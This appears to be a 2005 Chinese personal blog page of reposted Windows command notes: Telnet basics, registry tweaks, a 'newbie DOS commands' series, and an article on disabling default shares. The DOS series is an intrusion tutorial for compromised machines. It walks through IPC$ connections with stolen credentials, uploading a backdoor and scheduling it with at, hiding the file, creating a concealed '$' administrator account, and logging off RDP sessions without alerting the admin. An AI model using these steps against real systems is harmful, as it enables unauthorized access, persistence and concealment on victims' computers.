指定要查看其共享资源的计算机。
/domain[:domainname]
指定要查看其可用计算机的域。如果省略 domainname ,则显示网络的所有域。
/network:nw
显示 NetWare 网络中所有可用的服务器。如果指定计算机名,则显示 NetWare 网络中该计
算机的可用资源。也可以用此开关指定添加到系统中的其他网络。

网络命令之:Telnet命令简介
Telnet用于Internet的远程登录.它可以使用户坐在已上网的电脑键盘前通过网络进入的另一台电脑已上网的电脑,使它们互相连通.这种连通可以发生在同一房间里面的电脑或是在世界各范围内已上网的电脑.习惯上来说,被连通计算机,并且为网络上所有用户提供服务的计算机称之为服务器(Servers),而自己在使用的机器称之为客户机(Customer).一旦连通后,客户机可以享有服务器所提供的一切服务.用户可以运行通常的交互过程(注册进入,执行命令),也可以进入很多的特殊的服务器如寻找图书索引.网上不同的主机提供的各种服务都可以被使用.

使用Telnet的最简单的方法是在命令行键入:
%telnet remote-computer-name(or IP)
这里使用的是UNIX系统的C shell,因为命令的选择是百分号"%".如果使用的是其他的计算机系统(比如os,VAX/VMS,Macintosh)命令,只在细节上有些差异,而在本质上是大同小异的,下面举一个基本的Telnet使用例子:

telnet porky.math.ukans.edu
Trying 129.237.128.11...
Connected to porky.math.ukans.edu.
Escape character is '^]'.
SunOS UNIX(porky)
loginl
password:xxxxxxx
Last Login: Tue Mar 28 05:35 from ns.bta.net.cn
SunOS Release 4.1.3_U1(SLIPPERY1) #3: Sun Nov 20 23:47:23 CST 1999
No match.
if:Expression syntax.
porky/serv/wl%ls
hello
porky/serv/wl%
porky/serv/wl%cd/
porky/%ls
Mail/ dev/ home/ mnt/ sbin/
usr/
News/ domain/ home1/ net/ serv/
var/
Record/ etc/ kadb* pcfs/ sys@
vmunix*
bin@ export/ lib@ print tmp/
boot gofer/ lost+found/ record tmp_mnt/
porky/%

上述的例子是用Telnet寻找一个叫做porky.math.ukans.edu的远程计算机.在找到这台计算机以后,已上网的拥护的计算机就成为它的一个终端.这时屏幕出现的对话与用户在host上连接的终端一样。用户必须注册进入(login)和注销推出(logout).在login后,可给出任何适合远程系统的命令,因为"porky.math.ukans.edu"面向的是UNIX系统,所有标准的UNIX命令(想ls和pwd)都可以使用.当用户从远程系统退出时,也就从Telnet退出,便可以运行自己的本地系统.实际上,Telnet是一个可以注册进入远程计算机系统的工具.


 
txwgy @ 2005-06-26 13:35

真正的隐藏文件


HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL
打开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL分支,然后在右边的窗口中双击CheckedValue键值(原值0x00000001 (1)) 项,将它的键值修改为“0”,如果没有该健值的话,可以自己新建一个名为“CheckedValue”的“DWORD值”,然后将其值修改为“0”即可,最后退出注册表编辑器,重新启动计算机,接下来你就发现设置为“隐藏”属性的文件可以彻底隐身了,即使是在“文件夹选项”窗口中选择“显示所有文件”,我们隐藏的文件也不会露出来了。



不作保存
对所作的修改将不进行保存 在HKEY_CURRENT_US ER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer下 新建一个“NoSaveSettings”DWORD值,并修改为0x00000001




禁用“控制面板”

在 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer下新建一个名为NoControlPanel的DWORD赋
值为 1 (0x1)即可  PS:同时也禁止了Control.exe的运行  


7.禁止“删除任务”  
在 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft下新建一个名叫Windows的项,然后在它的下面新建一个名叫Task Scheduler5.0的项,最后在它的下面建立一个叫做Task Deletion的DWORD赋值为 1 (0x1)即可。


 
txwgy @ 2005-06-26 13:32

菜鸟入门版-DOS命令之一(来自于网络,出处:作者:佚名   )
序言
 大家在入侵时,一定会用到DOS命令的,它的功能非常的强大.今天我就对常用的DOS命令作个详细的解说.主要是给刚入门者和接触DOS命令少的朋友看的.下面我挑几个比较常用的给大家说说.
以windows2000为例,windows xp类同.

DIR
显示当前盘下的所有文件夹和文件.
比较常用的方法是,你上传一个后门或服务端(这儿比如名字叫systems.exe)到肉鸡的c:\winnt\system32下,你想看看有没有上传成功.可以用DIR命令看一下. 命令如下 :

  DIR c:\winnt\system32\systems.exe

则会显示:
         2004-05-24  20:06           194,762 systems.exe
              1 个文件        194,762 字节
              0 个目录  4,658,597,888 可用字节

如果你没有上传成功,则显示如下:
                                 驱动器 C 中的卷没有标签。
                                卷的序列号是 6458-3DB8
                                 c:\winnt\system32\的目录
                                  找不到文件

CD
改变当前目录
具体看一下下面的命令:
                       C:\>cd winnt             file://进入winnt文件夹

                       C:\winnt>cd system32      file://进入system32 文件夹

                        C:\winnt\system32>cd..    file://回到上一级目录

                        C:\winnt>cd..

                         C:\>
                        C:\>d:                file://进入D盘

                       D:\>e:                  file://进入E盘

                         E:\>

del和deltree
DEL:删除文件.
看下面的命令:
              C:\>del c:\xx\ww.txt  file://删除C盘的XX目录下的名叫WW的文件.

              C:\>
              C:\>del c:\xx\*.*     file://删除C盘的XX目录下所有文件

deltree
这个更具有破坏性,不但能删除所有文件,连文件夹也删除
           
                    C:\>deltree c:\winnt file://删除C盘下的winnt所有文件和文件夹.
这个大家要小心使用.


attrid
显示和更改文件或文件夹属性.
文件或文件夹的属性有 隐藏,用字母H表示.   只读,用R表示.   存档,用A表示.  系统,用S表示
改变一个文件或文件夹属性,  " + " 表示增加,  "  -  ",表示去掉某个属性.
平时我们都把后门或服务端到上传肉鸡的c:\winnt\system32下.在进入了肉鸡的CMD以后,为了更加的不让肉鸡管理员知道,我们可以把你上传的隐藏起来.比如还是上面的systems.exe
命令如下:
           C:\>attrid +h   c:\winnt\system32\systems.exe   file://这样在system32下就找不到systems.exe

           C:\>attrid -h   c:\winnt\system32\systems.exe  file://去掉systems.exe的隐藏属性

copy
复制一个或多个文件到其它目录
比如你把C盘下一个叫1.txt文件复制到D盘的vv文件夹下,
              
                       C:\>copy c:.txt  d:\vv.exe

比如你和肉鸡建立了IPC$连接(如何连接?以后会讲的),而且肉鸡开放了共享,这里比如开放了D盘.你可以把你C盘下的一个叫systems.exe的后门或服务端上传肉鸡的D盘下,命令如下:
                   
                  C:\>copy c:\systems.exe    \肉鸡IP\d$


type
显示文件内容
我现在在我的C盘的XX目录下新建一个叫hack.txt的文件,内容是一些台湾的IP
命令如下:

          C:\>type c:\xx\hack.txt
序号    开始IP地址      结束IP地址      国家/省/直辖市  城市/区县/组织
58      024.179.140.000 024.179.150.255 中国台湾省
80      061.013.000.000 061.013.255.255 中国台湾省
86      061.058.065.000 061.058.070.255 中国台湾省
87      061.059.160.000 061.059.255.255 中国台湾省
89      061.070.100.000 061.070.150.255 中国台湾省
1788    061.217.179.000 061.217.179.255 中国台湾省      台南市
1789    061.216.000.000 061.219.255.255 中国台湾省
1790    061.220.080.000 061.220.150.255 中国台湾省      台北市
1791    061.224.000.000 061.224.255.255 中国台湾省      台北市
1792    061.225.000.000 061.225.255.255 中国台湾省
3390    134.208.000.000 134.208.255.255 中国台湾省
3584    139.175.000.000 139.175.255.255 中国台湾省
3590    140.092.000.000 140.092.255.255 中国台湾省
3593    140.096.000.000 140.096.255.255 中国台湾省
3596    140.112.000.000 140.112.255.255 中国台湾省      台湾大学
C:\>




菜鸟入门版-DOS命令之二

它还有一个用法,就是在进入肉鸡的CMD以后,看看肉鸡用的是什么操作系统,命令如下,在我电脑操作的结果如下:

                   C:\>type c:\boot.ini

                    [boot loader]
                    timeout=30
                    default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
                   [operating systems]
                    multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft WindowsXP Professional"
                   /fastdetect

看出来没有?,我用的是XP系统.

这是一些我认为常用的命令,其它的还有rd,md等.你们有兴趣可以找资料看看.平进比较少用.

ping
这个是用的最多的命令.可是现在好像不灵光了.大多数网站和个人电脑用防火墙屏蔽了ping.大多数时候根本是P不通.基本命令:
                              ping   ip
                              ping   网址

下面P的是本站:

C:\>ping www.hf110.com

Pinging www.hf110.com [218.89.0.231] with 32 bytes of data:

Reply from 218.89.0.231: bytes=32 time=67ms TTL=116
Reply from 218.89.0.231: bytes=32 time=67ms TTL=116
Reply from 218.89.0.231: bytes=32 time=66ms TTL=116
Reply from 218.89.0.231: bytes=32 time=67ms TTL=116

Ping statistics for 218.89.0.231:
   Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
   Minimum = 66ms, Maximum = 67ms, Average = 66ms

上面P出本站的IP是218.89.0.231,从TTL=116.大略看出使用的是windows操作系统.一般来说TTL值在128左右的是windows操作系统,值在225左右的,大多数是unix类系统.但是还有特殊情况,管理员可能会通过改注册表来修改TTL值.


net use
在得到肉鸡的用户名和密码这后,可以用这个命令做IPC$连接

net use \肉鸡ip\ipc$ "密码"  /user:"用户名"

连接成功后,上传后门或服务端,(比如叫systems.exe,在你的D盘下).

copy D:\systems.exe  \肉鸡ip\c$   //这里它要开放共享,你才能上传.否则无法上传成功.

net time \肉鸡ip   //看一下肉鸡的时间,是24小时制.比如这儿是下午3点10分.写作15:10

at  \肉鸡ip  15:12  systems.exe   //在15:12分,运行systems.exe

在这儿,你上传的是反弹木马的话,可以等着它来连接你.其实在入侵过程中,有很多的偶然性,比如上面的,你可以IPC连接成功.但是并一定能够通过net time \肉鸡ip ,看肉鸡时间.就算能看到时间吧,有时肉鸡的at服务并没有打开.就算打开了,但是后门或服务端不一定能够有机会运行,
可能被杀毒软件查杀.所以在入侵过程中,失败是常有的事.这个方法不行,可以另一种.


net user
查看用户或新建一个用户.
这是在我电脑上的截图


C:\>net user

\BILLGATES 的用户帐户

---------------------------------------------------------------------
Guest                    guest1                   HelpAssistant
SUPPORT_388945a0         yhkj
命令成功完成。


C:\>


上面是我所有的用户.
现在我新建一个setwell的用户,密码是123456,  截图如下

C:\>net user setwell 123456 /add
命令成功完成。

C:\>net localgroup administrators setwell /add       //这条命令是加setwell为管理员
命令成功完成。                        


接下来我们再net user ,载图如下

C:\>net user

\BILLGATES 的用户帐户

----------------------------------------------------------------
Guest                    guest1                   HelpAssistant
setwell                  SUPPORT_388945a0         yhkj
命令成功完成。


建立的用户可以用net user命令看到,我们在用户后面加个$,可以小小的隐藏一下.这次建一个叫set的用户,截图如下:

C:\>net user set$ 123456 /add
命令成功完成。

C:\>net localgroup administrators set$ /add
命令成功完成。                        

C:\>net user

\BILLGATES 的用户帐户

-----------------------------------------------------------------
Guest                    guest1                   HelpAssistant
setwell                  SUPPORT_388945a0         yhkj
命令成功完成。


C:\>

看到没有,我们没有看到刚才建立的用户set$,可以用这个命令看,net localgroup administrators ,这个命令的是显示所有的管理员,截图如下:


C:\>net localgroup administrators
别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

------------------------------------------------------
guest1
set$
setwell
yhkj
命令成功完成。


C:\>


看到没有,我们看到set$这个用户了.

如果要删除用户用这个命令:

C:\>net user setwell /delete


net start
1.启动某些服务
比如:                net start telnet   //启动telnet服务

2.查看当前启动了什么服务.看看我的电脑启动了什么服务:

C:\>net start
已经启动以下 Windows 服务:

Automatic Updates
COM+ Event System
Cryptographic Services
DHCP Client
Distributed Link Tracking Client
DNS Client
Error Reporting Service
Event Log
Help and Support
IPSEC Services
Logical Disk Manager
Messenger


菜鸟入门版-DOS命令之三

这只是一部分服务.


net stop
停止某些服务.站长今天也说到了.我不多了.

net share
查看默认共享.也就是查看这些共享C$ D$ e$ f$ admin$ ipc$,这是系统默认的.我的全部关了,我
到肉鸡上截张图吧.

C:\Documents and Settings\Administrator>net share
D$           D:\                             默认共享                          
F$           F:\                             默认共享                          
ADMIN$       C:\WINNT                        远程管理                          
C$           C:\                             默认共享                          
E$           E:\                             默认共享                          
命令成功完成。


C:\Documents and Settings\Administrator>

这个肉鸡的IPC$共享竟然关了.


net view
也是查看共享,但不是上面的默认共享了,还是来张截图吧.也是肉鸡的,

C:\Documents and Settings\Administrator>net view
服务器名称            注释

-------------------------------------------------------------------------------
                                                                          
\HMZ                                                                          
\ZGH                                                                          
命令成功完成。


C:\Documents and Settings\Administrator>


学DOS命令看起来有点烦,其实是挺容易学的.而且学好了,在入侵中,会起到举足轻重的作用.下次讲netstat 等命令.


netstat -an
使用这个命令可以察看到和本机的所有的连接.看一下在我电脑上的截图,

D:\>netstat -an

Active Connections

 Proto  Local Address          Foreign Address        State
 TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5000           0.0.0.0:0              LISTENING
 TCP    180.254.158.42:139     0.0.0.0:0              LISTENING
 TCP    218.95.49.187:2935     218.89.0.231:80        ESTABLISHED
 UDP    0.0.0.0:500            *:*
 UDP    0.0.0.0:1035           *:*
 UDP    0.0.0.0:1037           *:*
 UDP    0.0.0.0:1134           *:*
 UDP    0.0.0.0:1136           *:*



Proto  Local Address          Foreign Address        State
协议   本地端口及IP地址       远程端口及IP地址      状态

LISTENING  监听状态  表示等待对方连接

ESTABLISHED  正在连接着.

TCP  协议是TCP

UDP  协议是UDP

TCP        218.95.49.187:2935     218.89.0.231:80        ESTABLISHED
这个表示  利用tcp协议 本机ip(218.95.49.187通过端口:2935 和远程ip(218.89.0.231)端口:80连接


query
这个命令只有在开了3389端口(也不一定端口是3389,说不定改成别的端口了.严格讲应是开了远程终端服务)的机子,才能用上.我用1$的用户名上了一台3389机子,看一下截图:

c:\>query user
USERNAME         SESSIONNAME       ID   STATE
administrator     console           0    运行中
1$                rdp-tcp#2         1    运行中


看到上面没有,管理员也在,如果你要退出的话,就用如下命令:

logoff ID  这儿是logoff 1.

这是正常退出的.说到退出,还有一个办法,就是在开始---关机---注销1$.如果你用另外的方法退出的话,那么肉鸡在关机时,会出现类如"有一个其它客人登录到这台服务器,如果你退出,对方的会话数据会丢失"一类的话.这样管理员就会发现了.


相关链接:

菜鸟入门版-DOS命令之一

菜鸟入门版-DOS命令之二

菜鸟入门版-DOS命令之三
  
 出处:作者:佚名    


 
txwgy @ 2005-06-26 13:19

取消Windows2000默认共享 (本文来自于网络)
 安装了Windows 2000之后,系统会创建一些隐藏的共享,通过“net share”命令我们就会看到这些共享:ADMIN$,IPC$,C$,D$,E$......这些默认的共享可以通过右键菜单的“共享”命令来停止,但系统重新启动后,会自动恢复这些共享。为了系统安全,我们应该在安装好Windows 2000之后,立刻彻底取消这些默认共享。

  如果要禁止C$、D$、E$一类的共享,可以单击“开始→运行”命令,在运行窗口键入“Regedit”后回车,打开注册表编辑器。依次展开[HKEY_LOCAL_MACHINE\SYSTEM\Current-

  ControlSet\Services\lanmanserver\parameters ]分支,将右侧窗口中的DOWRD值“AutoShareServer”设置为“0”即可。

  如果要禁止ADMIN$共享,可以在同样的分支下,将右侧窗口中的DOWRD值“AutoShareWKs” 设置为“0”即可。

  如果要禁止IPC$共享,可以在注册表编辑器中依次展开[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]分支,将右侧窗口中的DOWRD值“restrictanonymous”设置值为“1”即可。 也可设为“2”,但设为“2”可能有些windows程序不能正常运行

  安装了Windows 2000之后,系统会创建一些隐藏的共享,通过“net share”命令我们就会看到这些共享:ADMIN$,IPC$,C$,D$,E$......这些默认的共享可以通过右键菜单的“共享”命令来停止,但系统重新启动后,会自动恢复这些共享。为了系统安全,我们应该在安装好Windows 2000之后,立刻彻底取消这些默认共享。

关闭IPC$的几种方法

方法一:  

如果您想禁止%DriveLetter%$的默认共享,您可以在注册表的以下位置    
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters    
新建名称:AutoShareServer    
类型:  REG_DWORD    
值:  0    
    
如果您想禁止Admin$的默认共享,您可以在注册表的以下位置    
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters    
新建名称:AutoShareWks    
类型:  REG_DWORD    
值:  0  


方法二:  

在c盘下面建立delshare.bat文件  
内容如下:  
net  share  c$  /del  
net  share  d$  /del  
net  share  admin$  /del  
net  share  ipc$  /del  
修改注册表:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]  
"delshare  "=  "c:\delshare.bat

方法二:  

在c盘下面建立delshare.bat文件  
内容如下:  
net  share  c$  /del  
net  share  d$  /del  
net  share  admin$  /del  
net  share  ipc$  /del  
修改注册表:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]  
"delshare  "=  "c:\delshare.bat

如果在delshare.bat中加入net  share  ipc$  /del  
显示无权限(以administrator登陆)


Net share
创建、删除或显示共享资源。

net share sharename

net share sharename=drive:path [/users:number| /unlimited] [/remark:"text"]

net share sharename [/users:number| unlimited ] [/remark:"text"]

net share {sharename | drive:path} /delete

参数



键入不带参数的 net share 显示关于本地计算机上共享的所有资源的信息。

sharename

是共享资源的网络名称。键入带参数 sharename 的 net share 命令只显示有关该共享的信息。

drive:path

指定要共享目录的绝对路径。

/users:number

设置可以同时访问共享资源的最多用户数。

/unlimited

指定可以同时访问共享资源的、数量不受限制的用户。

/remark:"text"

添加关于资源的描述注释。将文本包括在引号中。

/delete

停止共享资源。

范例
要显示有关计算机上共享资源的信息,请键入:

net share

要使用共享名 SECRETARY 共享计算机的 C:\LETTERS 目录并包括注释,请键入:

net share secretary=c:\letters /remark:"For department 123."

要停止共享 LETTERS 目录,请键入:

net share secretary /delete

要使用共享名 LIST 共享计算机的 C:\ART LST 目录并包括注释,请键入:

net share list="c:\art lst"
WINXP类似设置


 
日历
网志分类
『所有网志』 (27)
windows学习记录 (7)
flash学习记录 (17)
css学习记录 (1)
web学习记录 (0)
asp学习记录 (0)
杂记 (0)
情感类 (1)
最新留言
站内搜索
友情链接
我的歪酷
歪酷博客
世纪流年blog站
兔兔blog
简单的网页
订阅 RSS
0011261
歪酷博客